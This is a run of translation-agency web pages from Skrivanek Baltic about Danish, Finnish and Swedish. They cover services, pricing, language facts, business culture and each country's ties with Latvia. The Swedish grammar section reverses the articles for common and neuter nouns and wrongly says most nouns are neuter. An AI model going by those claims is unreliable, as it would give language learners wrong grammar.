a second language by almost 50,000 people in the Faroe Islands. In the north of Germany, there are almost 50,000 people of whom Danish is their mother tongue. In Sweden and Norway, there are small Danish-speaking communities. Many people in Iceland have a basic knowledge of Danish, and a large proportion of the population is fluent in the language. Of Iceland's 350,000 inhabitants, just over 1,000 are native Danish speakers. In the 19th century, a large number of Danes emigrated to foreign countries in search of new job opportunities and success. Many of them stayed there for life and created new communities, never to return. Nowadays about 1. 4 million Americans have roots in Denmark. The same can be said about 170,000 Canadians, 140,000 Brazilians, 100,000 Australians and 50,000 Argentinians. However, almost all Danish migrants have something in common – they have assimilated so much that they have forgotten Danish culture and language. Nowadays out of 1. 4 million Americans with Danish roots, less than 30,000 speak Danish; that’s about 2%. DANISH LANGUAGE INTERPRETER AND TRANSLATOR Skrivanek’s team of translators and interpreters work with translations of standard documents, complex technical translations and notarised translations. We also provide proofreading and stylistic improvement of texts in Danish. Our language experts will be happy to tell you about cultural differences, business etiquette, history and traditions. All Skrivanek translators, interpreters, proof-readers and editors are aware of their responsibilities when working with confidential content and have signed strict confidentiality agreements, so you can trust us with your original translated texts. For business clients, our most common translations from/into Danish are digital marketing, e-commerce content and website translations, advertising slogan adaptations, legal translations, agreements, and business documentation translations. We also provide consecutive and simultaneous interpreting for business or other conversations, conferences and less formal events. We also provide consecutive and simultaneous interpreting online on Zoom or any other platform. For individuals, we translate identity documents, marriage certificates, children's birth certificates, education documents, passports, medical documents, etc. DANISH IN BUSINESS In Denmark, business communication is as important as in any other part of the world. In an age of globalisation, it is important to be aware of the business communication cultures of different countries if your business operates in different countries and employs people from all over the world. Good communication can only be an advantage and can bring only benefits to the business. WHAT IS BUSINESS COMMUNICATION LIKE IN DENMARK? Business communication with people from Denmark usually is informal and is characterised by humour and a good mood, but at the same time, Danes usually keep a certain distance. You’ll rarely hear that someone is promoting himself or his skills. It’s quite the opposite – people there tend to undervalue their roles and qualification. Business communication in Denmark during meetings is simple and usually, Danes are conservative and effective. In the beginning, Danish businessmen can seem formal though soon enough they will show their informal side. Most Danes speak about their private life with their co-workers without difficulty. They talk about their family and what they are doing on holidays and in their free time. Danish, Swedish and Norwegian are very similar and all these languages are understood by everyone in all three countries. English is taught in primary school as an obligatory language and it is spoken and understood by 80% of the inhabitants. English is used as a corporative language in most big companies. You can even say that for some, English is like their second language. Virtually all Danish entrepreneurs have a good command of English and interpreters are rarely necessary. Emails are often written in English from the start, so they can involve their associates or partners from other countries in the correspondence. In Denmark, English is the main language of communication in the business environment. That's why Danish does not play a big role as a business language in the world or even in Denmark. But in any case, if you greet a Danish businessman in their native tongue it won't go without notice. Denmark has been acknowledged as one of the best business places. Denmark is home to world-class companies in several sectors, paying particular attention to the renewable energy industry. More than 40 years of ambitious energy policy have helped Denmark to come in first place of CLEANTECH, and the country aims to become fully fossil fuel independent by 2050. Innovation in the food industry also is one of the industries that has an impact on a national and international scale. Denmark’s food industry has to follow very high-quality standards and exemplary hygiene and safety has to be observed. No wonder some of the best chefs and restaurants in the world can be found right in Denmark. It is the sixth largest shipping nation in the world in terms of tonnage operated. The Danish business Maersk Line is the biggest container shipping operator in the world. So business and work opportunities are open to the whole world. COOPERATION BETWEEN DENMARK AND LATVIA The diplomatic relationship between Denmark and Latvia was established on 7 February 1921. Denmark has always been one of the most important economic partners for Latvia. Educational cooperation with Denmark has been carried out with the help of the EU Lifelong Learning Programme, Nordic-Baltic education programme Nordplus, as well as cooperation agreements between individual educational and scientific institutions. Cultural cooperation with Denmark has been achieved with the direct exchange of creative persons, collectives and students. At the level of the organisations, it is based on contracts between the direct partners. The Danish Cultural Institute in Latvia has an important role in promoting cultural cooperation between the two countries. Denmark has played an important role in the development of the Latvian Armed Forces, and it has been one of the leading Nordic countries in political support and providing practical help to Latvia. Cooperation with Denmark has been in multiple projects: protection planning, personnel management and training, the NATO Security Investment Programme, engineering training, military medicine, environmental protection, search and rescue, etc. Latvian soldiers have served alongside Danish soldiers in Bosnia and Herzegovina, and in Kosovo in the KFOR mission. In preparation for their deployments, Latvian soldiers have participated in pre-mission training in Denmark. Denmark’s embassy in Riga provides help for Danish citizens and residents who are in Latvia, and also foreign residents who want to go to Denmark. The Embassy also follows political and economic developments in Latvia and promotes cooperation between the two countries in the military, defence, cultural and educational fields. The embassy also helps to promote Denmark’s values, positions of strength and culture through the general dissemination of information in Latvian society, public and social media. In these information activities, common ground is also sought between Latvia and Denmark on various topics. The embassy also organises Denmark’s cultural events in Latvia in which both Danish and Latvian representatives are present. In one of the biggest Latvian newspapers, Nordic country ambassadors also have a regular column. There ­the ambassador writes about topical issues, presenting them from a Danish perspective. Several language schools in Latvia, including Skrivanek Language Learning Centre, offer both individual and group lessons in Danish for all ages and ability levels. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO DANISH: general and specialised translation; urgent translation; notary-certified translation; localisation; machine translation with editing; DTP – desktop publishing; text adaptation and copywriting; interpreting; Danish language courses; linguistic auditing. LANGUAGE COMBINATIONS: Danish to English; English to Danish; Latvian to Danish; Danish to Latvian; Estonian to Danish; Danish to Estonian; Lithuanian to Danish; Danish to Lithuanian; Russian to Danish; Danish to Russian; Czech to Danish; Danish to Czech; Polish to Danish; Danish to Polish; Ukrainian to Danish; v to Ukrainian; Danish to Spanish; Spanish to Danish; German to Danish; Danish to German; Italian to Danish; Danish to Italian; French to Danish; Danish to French; Norwegian to English; English to Norwegian; Swedish to Danish; Danish to Swedish; Finnish to Danish; Danish to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ENGLISH: general and specialised translation; urgent translation; notary-certified translation; localisation; machine translation with editing; DTP – desktop publishing; text adaptation and copywriting; interpreting; Danish language courses; linguistic auditing. LANGUAGE COMBINATIONS: Danish to English; English to Danish; Latvian to Danish; Danish to Latvian; Estonian to Danish; Danish to Estonian; Lithuanian to Danish; Danish to Lithuanian; Russian to Danish; Danish to Russian; Czech to Danish; Danish to Czech; Polish to Danish; Danish to Polish; Ukrainian to Danish; v to Ukrainian; Danish to Spanish; Spanish to Danish; German to Danish; Danish to German; Italian to Danish; Danish to Italian; French to Danish; Danish to French; Norwegian to English; English to Norwegian; Swedish to Danish; Danish to Swedish; Finnish to Danish; Danish to Finnish and others. --- > General and specialised translations in Finnish language. Interpreting services and individual Finnish language courses. Contact us! - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN FINNISH HOW MUCH DO TRANSLATIONS IN FINNISH COST? Translation cost from and to Finnish is calculated for every order individually. The price calculation takes into account various elements specific to your order – the price of sequential interpretation, whisper, and simultaneous translations is based on the time of providing the service, language combinations, location of the event, travel costs, and daily allowance. In simultaneous translation, expenses for technical support are additionally calculated depending on the number of participants in the event, etc. The price of written translations consists of the volume and readability of the translated material, the due date of the translation, the complexity of the terminology, repetitions in the text, formatting of pictures and graphics, level of difficulty, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Yes, the price list of translations and interpreting (simultaneous, whisper, court hearing and consecutive) from and to Finnish is an integral part of our contracts with clients. The Skrivanek Baltic translation agency always prepares detailed information about the cost of translation before starting a translation project. Every order price is fixed individually based on the Skrivanek Baltic price list. The price offer is prepared in approximately 30 minutes. In order for you to receive a price offer, feel free to send us your material to be translated and our project managers will contact you to agree on a solution. Contact Skrivanek Baltic today for a free quote on Finnish translation or any other combination of translation and related business services. Our Finnish language services include: Finnish Document Translation Finnish Simultaneous Interpretation Finnish Linguistic Validation Finnish Consecutive Interpretation Finnish Transcription Finnish Typesetting and Graphics Finnish Voiceovers and Subtitling Finnish Staffing Solutions Finnish Multicultural Marketing Finnish Document Management Finnish Deposition Services Finnish Virtual Data Room Services Finnish E-learning Support Looking for a language solution in Finnish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year FACTS ABOUT THE FINNISH LANGUAGE Finnish is one of the two official languages in the Republic of Finland along with Swedish. The official language status is established by the Constitution of Finland (Suomen perustuslaki), renewed in 1999, and by the new Language Act (Kielilaki), which was drafted in 2003 and became effective in 2004. Since 1995, the Finnish language is one of the official languages of the European Union. It is used in all the sociolinguistic fields, as in government, education, culture, mass media, etc. The use of the language is regulated by other laws and decrees as well, for example, the Government Decree on the Linguistic Status of Municipalities (Valtioneuvoston asetus virka- ja itsehallintoalueiden kielellisestä jaotuksesta), Act on the Knowledge of Languages Required of Personnel in Public Bodies (Kielitaitolaki), Church Law (Kirkkolaki), Universities Act (Yliopistolaki), etc. The maintenance and research of the Finnish language, as well as grammar and the publication of dictionaries and other informative material is coordinated by the Institute for the Languages of Finland (Kotimaisten kielten keskus), which is under the administration of the Finnish Ministry of Education and Culture (Opetus- ja kulttuuriministeriö). Finnish Sign Language is the first language of 4000–5000 deaf Finns. In addition, 6000–9000 non-disabled Finns use it as their first or second language. Finnish Sign Language is derived from Swedish Sign Language. Nowadays, Finland-Swedish Sign Language is being used as well, which at the moment is considered to be an endangered sign language. Currently, there are only 90 Finland-Swedish Sign Language users, most of them elders, who attended the only Swedish school for the deaf in Finland. This school was closed in 1993. A highly developed type of regional colloquial language is Helsinki slang (Stadin slangi). It formed at the turn of the 19th and 20th centuries when even more Finnish-speaking residents started to arrive in Helsinki, where the Swedish Language had dominated at the time. Helsinki slang has both specific phonetic and grammatical features, and extensive vocabulary, which in different time periods was influenced by various foreign languages – initially Swedish and Russian, later on, English as well. Nowadays it has turned from commonly used slang into slang spoken mostly by teenagers. Most people think that the coffee countries of Europe are Italy or France. But no, it is the Finns who consume more coffee per capita than any country not only in Europe, but also in the world. On average, Finns consume about 12 kilograms of coffee every year. It is not uncommon to drink eight cups of coffee per day in Finland. Mobile game sensation Angry Birds gained popularity specifically in Finland. The developer of the game, Rovio Entertainment, which was founded in 2003 by students from Helsinki University of Technology, became a publicly traded company in 2017 and its net worth was 1 billion US dollars. Finland has been recognised as the happiest country in the world for many years in a row. Finland has an amazing welfare system, which supports the well-being of Finnish citizens. Within its framework, the state of Finland gives a unique gift to every expecting mother: a maternity pack or the so-called baby box. It can be considered as the initial support for the new parents, as it has various useful items, starting with baby products and ending with clothing. Furthermore, the baby box can be used as a bed as well. The tradition of gifting baby boxes in Finland is more than 80 years old. Do not forget about the sauna! It is the only Finnish word that will be understood by everyone in the world. There are more than 2 million saunas in the country, which is impressive, especially if we consider that the population of Finland is only 5. 5 million! Sauna is very important for Finns. It is an amazing place to cleanse the body and the mind, relax and enjoy the moment, as well as meet new people and socialise. Furthermore, research indicates that regular visits to the sauna (preferably numerous times a week) provide many health benefits, including reduced risk of heart attacks and dementia. Thus, Finns quite regularly go to the sauna in their homes, gym, or work. Saunas can be found in unexpected locations when visiting Finland, for example, in student dormitories, and state institutions as well. In December of 2020, Finnish sauna traditions were included in the UNESCO Intangible Cultural Heritage List. Lastly – Finnish is considered to be the favourite language of heavy metal bands. That is why so many heavy metal bands that have gained popularity around the whole world have formed in Finland. In 2016, the president of the USA at the time, Barack Obama, noted that the political system in Finland is connected to its music scene. 'I do want to point out that Finland has perhaps the most heavy metal bands in the world per capita and also ranks high on good governance,' said Obama. Finnish groups such as HIM and Apocalyptica are more widely known in Latvia. On February 28, 1835, Finnish folklore specialist Elias Lönnrot published the first 32 poems from the epic Kalevala. In total there are 50 songs or poems that were published in a single issue only after 14 years. In doing this, a basis of one of the most famous epics of northern people was formed – the legend of the mythical land Kalevala. Kalevala as an epic embodied the massive work carried out by Finnish and Karelian folklore specialists and nationalists. Kalevala is based on traditional Finnish and Karelian folksongs that used free verse. In the 17th and 18th centuries, the efforts of the Finns to write down the old songs increased significantly because the trend of new poetry pervaded from Europe even more strongly. People who had knowledge of old songs started to dwindle in the south and west of Finland because of its influence, which caused folklore specialists to consider a compilation of folk songs. Finland and especially Karelia, which was a part of the Russian Empire at that time, obtained a basis of national unity through the awareness of the people. Numerous publications from folklore specialists gave hope that sometime it would be possible to compile the folksongs in one book. It was from the works of the predecessors, which were located at the University of Turku, that Elias Lönnrot got the inspiration for the epic. The epic Kalevala has a significant national role. Before Kalevala, Finns and Karelians did not have one unifying literary work that could set the foundation for national unity, therefore Kalevala is regarded as having a largely significant role in promoting Finnish national self-awareness. It does not need to be explained to Latvians, because this is the exact role that Lāčplēsis by Andrejs Pumpurs plays. Kalevala became popular at the beginning of the 20th century in particular, when Finns and Karelians attempted to gain independence from the Russian Empire. Therefore, it is not surprising that many Finnish companies used words found in Kalevala. Thus, a company named 'Leminkainen' has operated in construction, while companies that use the titles 'Sampo' and 'Pohjolas' have attempted to operate in the welfare and finance sectors. The fact that it is Finnish Culture Day or Kalevala Day on February 28, which symbolises Finnish culture, makes the epic special as well. THE FINNISH ALPHABET The Finnish language uses the Latin alphabet. The alphabet has the following letters: a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s (š), t, u, v, w, x, y, z (ž) å, ä, ö. Letters š and ž appear in the spelling of foreign words and in proper nouns from other languages – proper nouns from other languages in Finnish maintain the original spelling, they do not get modified. The Finnish alphabet follows the structure of the Swedish alphabet. Pronunciation and spelling are quite similar, pronunciation of vowels can be both long and short. Similar to Swedish, consonants can also be pronounced elongated, (except for the letters d, v, and j), and in writing the elongation of these sounds is marked with a double letter use. There are eight vowels in Finnish: a, e, i, o, u, y, ä ja ö and 13–17 consonants: p, t, k, (b), d, (g), m, n, ŋ, (f), s, (š), h, l, r, v and j. Out of these, b, g, f and š are mostly found in foreign words and slang, and their place in the Finnish consonant system has not been consolidated. In Finnish, the main stress is on the first syllable. The length of vowels and consonants is important in the division of word meanings, which applies to almost all of the phonemes in Finnish, for example, mato ('worm') and matto ('carpet'). HOW DIFFICULT IS THE FINNISH LANGUAGE? When starting to study the Finnish language, a completely unusual and new way of thinking must be learned – especially if the native language of the learner belongs to one of the languages in the Indo-European language family. Finnish, which belongs to the Uralic language family, differs from many languages, including the widely-used English language, which is one of the many Indo-European languages. On the other hand, Finnish might seem familiar and easier to Estonians, compared to other languages, since both Estonian and Finnish belong to the same language family. The Finnish Language is part of the category of languages that are difficult to learn, 44 weeks or 1100 study hours would be required so that the language learner would feel confident enough about their Finnish knowledge and would join a conversation next to an office coffee machine. WHERE AND HOW MANY PEOPLE SPEAK FINNISH? Finnish is the native language for approximately 5. 23 million people in the whole world – around 4. 8 million residents in Finland, around 300 thousand in Sweden, around 50–100 thousand in East Karelia and Ingria (territories which now are parts of the Russian Republic), around 12 thousand in Norway and several tens of thousands elsewhere in the world, including in the United States of America and Australia. Based on the number of speakers, Finnish is the second most common Uralic language after Hungarian and is the most common Baltic Finno-Ugric language. FINNISH TRANSLATOR AND INTERPRETER Our translators, interpreters, and editors of the Finnish Language handle both standard written document translations, difficult technical and medical translations, and notarised translations. The Skrivanek Baltic translation agency also provides proofreading and stylistic improvement of texts in Finnish. Language experts will gladly provide information about cultural differences, business etiquette, history, and traditions of the country. The thematic range of the translated material from/to Finnish is quite wide, considering the frequent cooperation between both countries in various fields – business, economy, education, culture, etc. We most often do the following translations from and to Finnish for business clients – website and e-commerce content, advertising slogans, adaptations of marketing texts, cooperation agreements, and business documentation. We also do sequential translation in business or other types of conversations, conferences, and other events. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. THE FINNISH LANGUAGE IN BUSINESS Business etiquette varies in different regions and countries. That can create a difficult situation for people because it is burdensome to simultaneously follow international business etiquette and to focus on other business-related activities. When communicating with Finns, it is crucial to understand the Finnish communication style. One of the surprises even in business communication is that Finns are quiet. No other cultural group in the Northern countries has earned the reputation of being a reclusive, reticent, and spontaneous nation like the Finns have. The lack of desire for speaking if they do not have anything important to add, has contributed to a notion of Finns being slow-witted people, but in actuality, they are calm, thoughtful, stubborn to a certain degree, and aloof. And that’s how Finns are also in a business environment. Finns do not need direct contact and in fact, they quite easily use e-mail. That can help save time in everyday transactions. Finns are regarded as being excellent at time management and prefer to organise their workdays meticulously to accomplish as much as possible. Finnish entrepreneurs may seem formal and usually show their more informal side only to familiar people. But when you get to know your Finnish colleague, he can become your friend for the rest of your life. Finnish and Swedish are official languages in Finland, and children are required to learn both of them at school. For many Finns, Swedish is their so-called second language and 5. 5% of the population speak it. Swedish speakers tend to live next to the coast and in metropolitan territories. Yet nowadays English has become the unofficial second language of Finland and more people speak English as their second language rather than Swedish. For the most part, Finns speak English freely, and that, in particular, applies to the world of business. In reality, many Finnish companies use English as one of the company languages, similar to how it is here in Latvia. The development of business in Finland may bring large benefits, but Finns are quite deliberate. Extensive knowledge of Finnish business culture can help overcome any initial reserve that one may experience, and develop serious and long-lasting relationships. Finns are interested in people who are interested in Finland, therefore it is crucial to demonstrate an interest in everything related to the Finnish language, culture, traditions, and nature. Outside of Finland, Finnish is not used as a business language, and in the Finnish business environment, English is widely used as well. Thanks to the Finnish aloofness, business relations are quite often launched and developed via correspondence. FINLAND AND LATVIA The successful relationship between Latvia and Finland is based on common interests to provide stability, safety, and prosperity in the Baltic Sea region and Europe. Being geographically close to each other, Latvia and Finland implement firm and practical cooperation in the most diverse fields and levels – in economy, culture, education, defence, etc. Finland is Latvia's eighth biggest trading partner and a significant investor. Bioeconomy, engineering, information technology, food and tourism are sectors in which great cooperation potential can be seen both in promoting exports from Latvia and in attracting investments. Cooperation with Finland is extensive in many cultural fields. Artists from both countries often visit international events hosted in the other country – exhibitions, music, film, and other festivals. Finns' interest in Latvian literature is growing, as well as Latvians' interest in Finland's. In 2021 a book was published in Latvian by Aleksandrs Čaks and Finnish poet Heli Laaksonen called Paņēmi manu sirdi no plaukta. The poetry book consists of 15 poems by Aleksandrs Čaks and 15 poems by Heli Laaksonen which creates an unusual dialogue as if they were answers to Čaks' poems. This is already the 4th book by the poet which was published in Latvian. Using Vidzeme's coastal Livonian dialect, Guntars Godiņš has translated poems by Heli Laaksonen to Latvian. Heli Laaksonen is a very interesting and delightful Finnish poet. Anyone who has read at least one of her poems or listened to her interview, will most likely want to know more about Finland, Finnish culture, and the people. Latvian universities have developed close relations with Finnish universities within the framework of the European Union education programme Socrates/Erasmus+, European Union Lifelong Learning programmes and projects, and the NORDPLUS projects of the Nordic Council of Ministers' educational programme. Numerous students from Finland receive their highest education at Riga Stradiņš University and the University of Latvia. Finnish can be learned at Riga Grammar School of Nordic Languages and within the framework of the Finno-Ugric bachelor's study programme at the Faculty of Humanities of the University of Latvia. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO FINNISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language courses; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Finnish; Finnish to Latvian; Estonian to Finnish; Finnish to Estonian; Lithuanian to Finnish; Finnish to Lithuanian; Russian to Finnish; Finnish to Russian; Czech to Finnish; Finnish to Czech; Polish to Finnish; Finnish to Polish; Ukrainian to Finnish; Finnish to Ukrainian; Finnish to Spanish; Spanish to Finnish; German to Finnish; Finnish to German; Italian to Finnish; Finnish to Italian; French to Finnish; Finnish to French; Danish to Finnish; Finnish to Danish; Norwegian to Finnish; Finnish to Norwegian; Swedish to Finnish; Finnish to Swedish; English to Finnish, Finnish to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO FINNISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language courses; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Finnish; Finnish to Latvian; Estonian to Finnish; Finnish to Estonian; Lithuanian to Finnish; Finnish to Lithuanian; Russian to Finnish; Finnish to Russian; Czech to Finnish; Finnish to Czech; Polish to Finnish; Finnish to Polish; Ukrainian to Finnish; Finnish to Ukrainian; Finnish to Spanish; Spanish to Finnish; German to Finnish; Finnish to German; Italian to Finnish; Finnish to Italian; French to Finnish; Finnish to French; Danish to Finnish; Finnish to Danish; Norwegian to Finnish; Finnish to Norwegian; Swedish to Finnish; Finnish to Swedish; English to Finnish, Finnish to English and others. --- > General and specialised, notary-certified translations, interpreting, localisation and Swedish language courses. Contact us! - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional SWEDISH TRANSLATIONS HOW MUCH DO SWEDISH TRANSLATIONS COST? Translation cost from and to Swedish is calculated for every order individually. The price calculation consists of multiple conditions which are in accordance with the currently effective Skrivanek price list. The price of sequential translations is based on the time of providing the service and language combinations in which the translation is required. The price of written translations consists of the volume of the translated material, the due date of the translation, specifics of the content, repetitions in the text, graphical processing, text formatting, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Yes, the price list of written and oral (simultaneous and sequential) translations, localisation, and adaptation from and to Swedish is an integral part of our contracts with clients. Translation project managers provide detailed information about the cost of translation before starting a translation project. Every order price is fixed individually in accordance with the Skrivanek Baltic price list based on word count in the text, repetition of text in the translation, and other parameters. In order for you to receive a price offer, we will wait for your material in our e-mail. Contact Skrivanek Baltic today for a free quote on Swedish translation or any other combination of translation and related business services. Our Swedish language services include: Swedish Document Translation Swedish Simultaneous Interpretation Swedish Linguistic Validation Swedish Consecutive Interpretation Swedish Transcription Swedish Typesetting and Graphics Swedish Voiceovers and Subtitling Swedish Staffing Solutions Swedish Multicultural Marketing Swedish Document Management Swedish Deposition Services Swedish Virtual Data Room Services Swedish E-learning Support Looking for a language solution in Swedish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE SWEDISH LANGUAGE The Swedish language belongs to the North Germanic sub-family of the Germanic branch of the Indo-European language family. It is related to Norwegian, Danish and Icelandic, the closest relation is to the Danish language, the most distant – Norwegian. This language is spoken by approximately 10 million people, and it is the official language in Sweden and the second official language in Finland, as well as one of the official languages in the European Union and the Nordic Council. There are six dialect regions in Sweden, and the East Swedish dialect (östsvenska målen) in Finland is a part of them. In Sweden, from south to north the following dialects are distinguished: South Swedish (sydsvenska mål), Götaland (götamål), Gotaland (götländska mål), Svealand (sveamål), Bergslagsmål (bergslagsmål) and Norrland (norrländska mål) dialects. The differences between the dialects are noted by pronunciation. But there still are multiple local dialects that people from other regions would find difficult to understand. Since all Scandinavian languages have been historically influenced by Low German, nowadays Swedes, Finns, and Norwegians can understand each other as well. It is considered that 30–40% of words in Swedish are borrowed from Low German, and these similarities can be observed in both vocabulary and grammar. The Swedish language is descended from Old Norse that was spoken by Germanic tribes during the Viking era. Around the 8th century, numerous regional language forms started to develop from it, which became four dialects until the 11th century when they further formed as modern North Germanic languages – Icelandic, Norwegian, Danish, and Swedish. There are many borrowings in the Swedish language – the oldest from Latin, Greek, Low German, and High German, and the youngest from French and English. The oldest Swedish writing system was the runic alphabet, which was used to decorate historical monuments dating as far back as the 8th century. The Latin alphabet was introduced in the 13th century when the Old Swedish language (fornsvenska) period started. Each province had its own rules in the Middle Ages and these regional laws (landskapslagar) are the oldest written texts in Swedish. The Westrogothic law (Äldre västgötalagen; around 1225) is considered to be the first written text in Swedish of such type. The used language had an abundance of forms – verbs corresponding with personal pronouns and four noun conjugations (nominative, accusative, dative, genitive). The most significant monuments of written Swedish are chronicles that have survived from the 14th century. The literary language was formed in the 17th century, it has two variants – rikksvenska (in Sweden) and finlandssvenska (in Finland). The literary language is based on Svealandic dialects. The first printed book in Swedish was published in 1495, the first Swedish grammar book – in 1684 (in Latin). In 1786, King Gustav III (Gustaf III) founded the Swedish Academy (Svenska Akademien) to ‘promote the pureness, strength, and greatness of the Swedish language’. The most well-known function of the Swedish Academy is to award the Nobel Prize in literature. The Academy grants other awards as well and is responsible for the Swedish Academic Word List (Svenska Akademiens ordlista), which is a compilation of standardised Swedish spellings and word formations, first published in 1874. According to the Language Act of 2009, Swedish has the official language status in Sweden. The law states that Swedish is the generally accepted language of common and public communication in Sweden. It can be used in all social spheres, for example, in communication with state institutes. Swedish in Finland has the same official and legal language status as Finnish. Swedish is one of the official languages in the European Union. There are 5 minority languages in Sweden: Finnish, Meänkieli, Sami, Romani, and Yiddish. The Swedish Parliament has also granted minority language status to Swedish Sign Language through legislation. Modern Swedish is characterised by an informal style and welcoming atmosphere when communicating with both other people and state institutes. With a few exceptions, people, including strangers with high social status, are addressed by using the singular second person pronoun du (‘you’). The beginnings of such communicative developments can be found in the 1960s. THE SWEDISH ALPHABET Written Swedish has used the Latin alphabet since the 13th century, and has added a few letters that are not found in the Latin alphabet. The Swedish alphabet consists of 29 letters – 9 vowels (a, e, i, o, u, y, å, ä, ö) and 20 consonants (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Out of these, W and Q are used only in titles or borrowings. HOW DIFFICULT IS THE SWEDISH LANGUAGE? Learning how to understand, speak and think in another language is an exciting and always time-consuming process. We not only expand our knowledge when learning a foreign language, but also acquire new information about a nation, country, their culture and traditions. Opinions on the difficulty level of Swedish are quite opposing. Europeans, whose native language is English or German or those who have learned these languages, will not have much difficulties with Swedish studies. First of all, Swedish has many borrowings from these languages. Starting in the 20th century, Swedish grammar was gradually simplified, plural forms of verbs were not used anymore, and there were only two conjugations. Nouns have two genders – common and neuter. Most of the nouns are neuter. Neuter nouns are marked with the article en, common nouns with ett. It is interesting that nouns in Swedish have two forms: definite and indefinite. Adjectives are matched with nouns by gender and number – the endings of the adjectives depend on the noun that the adjective is paired with. Swedish, like Latvian, has two types of conjunctions – subordinate and coordinate. The word order in a sentence is strictly defined. Pronunciation could be slightly more difficult since there are two intonations that can change word meaning. But these intonations make Swedish very melodic and beautiful. The biggest benefit of learning Swedish is the possibility to understand Norwegian and Danish as well. According to the Foreign Service Institute in the USA, 750 learning hours would be required to speak fluent Swedish. SWEDISH INTERPRETER AND TRANSLATOR The Skrivanek team of interpreters and translators provides both standard written document translations, technical translations, and notarised translations. We also provide proofreading and stylistic improvement of texts in Swedish. Of course, linguists can offer information about cultural differences, business etiquette, history, and traditions. All translators, interpreters, proof-readers, and editors have signed a confidentiality agreement. Therefore, you can entrust us with your original texts. We most often do the following translations from and to Swedish for business clients – website and e-commerce content, advertising slogans, marketing texts, cooperation agreements, business documentation, and technical texts. We also do sequential translation in business or other types of conversations and conferences. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. WHERE AND HOW MANY PEOPLE SPEAK SWEDISH? There are around 10 million Swedish speakers in the world, most of them in Sweden (9. 4 mil. ). Swedish, which is spoken by the majority of Sweden’s population, is their native or second language. Swedish is the native language for 5% of Finland’s population (around 290,000 people). Swedish is an obligatory subject for Finnish-speaking students, therefore many people in Finland speak or understand Swedish. But the actual level of Swedish knowledge in Finland varies in different regions of the country. Finland’s autonomous region of Åland is practically a Swedish-speaking area. For hundreds of years, Swedish-speaking people have lived in Estonia’s coastal regions. Most of them sought refuge in Sweden during the Second World War. Due to the large emigration wave from North Europe to North America at the end of 19th century and beginning of the 20th century, there are many US citizens of Swedish origin – 70,000, and a large part of them are trying to maintain the native language of their ancestors. There are around 20,000 Swedish speakers in Canada, and small Swedish diasporas exist in Spain and England as well. A small number of Swedish speakers once lived in the so-called old Swedish village Staroshvedske (Gammalsvenskby (Gammölsvänskbi)) in the south of Ukraine when they were banished from Estonia at the end of the 18th century. THE SWEDISH LANGUAGE IN BUSINESS In most cases, Swedish is used for business cooperation only with Scandinavian countries. Even though it is one of the official languages of the EU, it does not have a significant role in the international business field. Schools and courses for learning Swedish have gained popularity in many European countries, and even more people want to learn this language since it provides opportunities to find a well-paying job in companies that cooperate with Swedish entrepreneurs. SWEDEN AND LATVIA Latvia and Sweden are united by shared historical events and active cooperation on both sides, which is based on close communication on all levels and fields, and a common goal to provide stability, prosperity, and safety in the Baltic Sea region and Europe in general. Sweden is one of the most important economic cooperation partners of Latvia. The Embassy of Sweden, established on 29 August 1991 in Riga, was one of the first foreign embassies in restored independent Latvia. In 2019, the Sweden-Latvia Cooperation Fund was established. Its main goal is to facilitate cooperation between both countries by encouraging the exchange of contacts, knowledge, and information, and to popularise the Latvian language in Sweden and vice versa. Cooperation with 